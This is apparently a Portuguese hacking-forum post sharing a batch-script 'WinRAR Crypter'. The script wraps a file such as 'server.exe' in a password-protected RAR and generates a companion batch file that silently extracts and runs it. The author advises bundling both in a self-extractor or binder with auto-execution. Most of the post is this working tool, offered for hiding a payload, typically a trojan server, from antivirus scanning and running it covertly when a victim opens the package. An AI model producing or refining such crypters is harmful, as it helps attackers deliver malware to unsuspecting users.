Tive uma idéia de fazer um script BAT que cria um RAR encripitado com senha e outro BAT que vai abri-lo e executar o arquivo de dentro:
@echo off
set path=%systemroot%;%systemroot%\system32;%cd%;%systemroot%\system;%homedrive%;%homedrive%\arquivos de programas;%homedrive%\arquivos de programas\winrar
color 02
set cfgng=%cd%
set owner=GonG4
title WinRAR Crypter
cls
echo WinRAR Crypter by %owner% :::::::::
:comeco
echo.
echo Nome do arquivo a ser Encripitado (caso nao esteja na mesma pasta especifique o diretorio):
set /p arq1=
if not exist %arq1% ( goto comeco )
:cont
echo.
echo Nome do arquivo a ser executado depois da extracao (sem diretorio):
set /p arq3=
echo.
echo Senha:
set /p senha=
echo.
echo Arquivo de saida:
set /p arq2=
echo.
echo Criando RAR com senha...
rar a -p%senha% %arq2%.rar %arq1%
echo.
echo RAR com senha criado.
echo.
echo Criando Script...
echo.
echo @echo off > %arq2%.bat
echo color 00 >> %arq2%.bat
echo cls >> %arq2%.bat
echo set path=%systemroot%;%systemroot%\system32;%cd%;%systemroot%\system;%homedrive%;%homedrive%\arquivos de programas;%homedrive%\arquivos de programas\winrar >> %arq2%.bat
echo unrar e -kb -o+ -p%senha% %arq2%.rar *.* >> %arq2%.bat
echo %arq3% >> %arq2%.bat
echo exit >> %arq2%.bat
echo Script criado.
echo.
echo Arquivos %arq2%.bat e %arq2%.rar criados. Dica: Utilize eles em um self-extract com execucao automatica do arquivo .BAT.
pause
exit
Quando você usar ele, coloque o Nome do arquivo a ser encripitado, o nome do arquivo a ser executado, a senha e o nome dos arquivos de saída. Ex.:
C:\server.exe
server.exe
123(Senha)
gong4(ArquivoDeSaida)
Agora crie um SFX ou use um binder e coloque os arquivos gong4.bat e gong4.rar, coloque auto-execução no gong4.bat.
http://hepteam.blogspot.com/2009/03/transformando-qualquer-arquivo-em-um.html
~~
GonG4
;D